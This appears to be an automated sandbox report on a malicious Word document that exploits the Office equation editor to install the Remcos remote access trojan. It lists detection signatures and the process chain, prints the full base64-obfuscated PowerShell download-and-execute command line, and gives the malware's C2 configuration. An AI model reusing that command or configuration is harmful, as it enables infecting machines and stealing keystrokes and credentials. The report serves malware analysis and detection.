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Windows
Analysis Report
atthings.doc
Overview
General Information
Sample name: | atthings.docrenamed because original name is a hash value |
Original sample name: | weneedtocreatebesthingswithgreatunderstandhowpowerfulthigns__________weneedbetterunderstandtogetmebackwithme________verynicethingsarearoundonmewithgreatthings.doc |
Analysis ID: | 1570644 |
MD5: | 29f7672e6a927d5b4d14d8c9f29e9786 |
SHA1: | 3ce748611c888eb7f676a1e87066565e1e4b67ae |
SHA256: | 37deb0c041dabe99248653f5b4eb440bd354eb9791cad1323d992ceecd446867 |
Tags: | docuser-abuse_ch |
Infos: | |
Detection
Remcos
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
C2 URLs / IPs found in malware configuration
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Document exploit detected (process start blacklist hit)
Injects a PE file into a foreign processes
Installs a global keyboard hook
Installs new ROOT certificates
Office drops RTF file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Shellcode detected
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Abnormal high CPU Usage
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to download and execute PE files
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores large binary data to the registry
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w7x64
- WINWORD.EXE (PID: 3256 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\WINWOR D.EXE" /Au tomation - Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5) - EQNEDT32.EXE (PID: 3332 cmdline:
"C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8) - wscript.exe (PID: 3484 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\givem ebestthing swithgreat entierymat terofgo.vb S" MD5: 979D74799EA6C8B8167869A68DF5204A) - powershell.exe (PID: 3532 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" $dialoguer = 'JGNvbX BhY3Rpb24g PSAnaHR0cH M6Ly9yZXMu Y2xvdWRpbm FyeS5jb20v ZHl0Zmx0Nj FuL2ltYWdl L3VwbG9hZC 92MTczMzEz NDk0Ny9ia2 xweXNleWV1 dDRpbXB3NT BuMS5qcGcg JzskZGV0b3 hpY2F0ZXMg PSBOZXctT2 JqZWN0IFN5 c3RlbS5OZX QuV2ViQ2xp ZW50OyR0aG 9sZWlpdGUg PSAkZGV0b3 hpY2F0ZXMu RG93bmxvYW REYXRhKCRj b21wYWN0aW 9uKTskZmxv b3Jib2FyZC A9IFtTeXN0 ZW0uVGV4dC 5FbmNvZGlu Z106OlVURj guR2V0U3Ry aW5nKCR0aG 9sZWlpdGUp OyRwYXNzYW dld2F5ID0g Jzw8QkFTRT Y0X1NUQVJU Pj4nOyRjaG 9sZXJhaWMg PSAnPDxCQV NFNjRfRU5E Pj4nOyRleH B1cmdhdGVz ID0gJGZsb2 9yYm9hcmQu SW5kZXhPZi gkcGFzc2Fn ZXdheSk7JH NpY2Npbmcg PSAkZmxvb3 Jib2FyZC5J bmRleE9mKC RjaG9sZXJh aWMpOyRleH B1cmdhdGVz IC1nZSAwIC 1hbmQgJHNp Y2NpbmcgLW d0ICRleHB1 cmdhdGVzOy RleHB1cmdh dGVzICs9IC RwYXNzYWdl d2F5Lkxlbm d0aDskYWxi aW5vdGljID 0gJHNpY2Np bmcgLSAkZX hwdXJnYXRl czskc2VlZG Nha2UgPSAk Zmxvb3Jib2 FyZC5TdWJz dHJpbmcoJG V4cHVyZ2F0 ZXMsICRhbG Jpbm90aWMp OyRmcmVha2 luZyA9IC1q b2luICgkc2 VlZGNha2Uu VG9DaGFyQX JyYXkoKSB8 IEZvckVhY2 gtT2JqZWN0 IHsgJF8gfS lbLTEuLi0o JHNlZWRjYW tlLkxlbmd0 aCldOyRncm VldGVkID0g W1N5c3RlbS 5Db252ZXJ0 XTo6RnJvbU Jhc2U2NFN0 cmluZygkZn JlYWtpbmcp OyRjaGluZX MgPSBbU3lz dGVtLlJlZm xlY3Rpb24u QXNzZW1ibH ldOjpMb2Fk KCRncmVldG VkKTskcGlu dGFpbCA9IF tkbmxpYi5J Ty5Ib21lXS 5HZXRNZXRo b2QoJ1ZBSS cpOyRwaW50 YWlsLkludm 9rZSgkbnVs bCwgQCgndH h0LlJSWk1I LzQ1Ni85MT IuMTYxLjYw MS43OC8vOn B0dGgnLCAn JGNhbW9taW xlJywgJyRj YW1vbWlsZS csICckY2Ft b21pbGUnLC AnQ2FzUG9s JywgJyRjYW 1vbWlsZScs ICckY2Ftb2 1pbGUnLCck Y2Ftb21pbG UnLCckY2Ft b21pbGUnLC ckY2Ftb21p bGUnLCckY2 Ftb21pbGUn LCckY2Ftb2 1pbGUnLCcx JywnJGNhbW 9taWxlJykp Ow==';$cru nodes = [S ystem.Text .Encoding] ::UTF8.Get String([Sy stem.Conve rt]::FromB ase64Strin g($dialogu er));Invok e-Expressi on $crunod es MD5: EB32C070E658937AA9FA9F3AE629B2B8) - CasPol.exe (PID: 3756 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Cas Pol.exe" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Remcos, RemcosRAT | Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity. |
{"Host:Port:Password": ["216.9.226.100:3898:1"], "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-Q9T2QD", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Enable", "Hide keylog file": "Enable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "mic"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
INDICATOR_RTF_MalVer_Objects | Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. | ditekSHen |
|
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
INDICATOR_RTF_EXPLOIT_CVE_2017_8759_2 | detects CVE-2017-8759 weaponized RTF documents. | ditekSHen |
|
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
Click to see the 16 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
REMCOS_RAT_variants | unknown | unknown |
| |
Click to see the 8 entries |
Exploits |
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Source: | Author: Joe Security: |
Source: | Author: Joe Security: |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |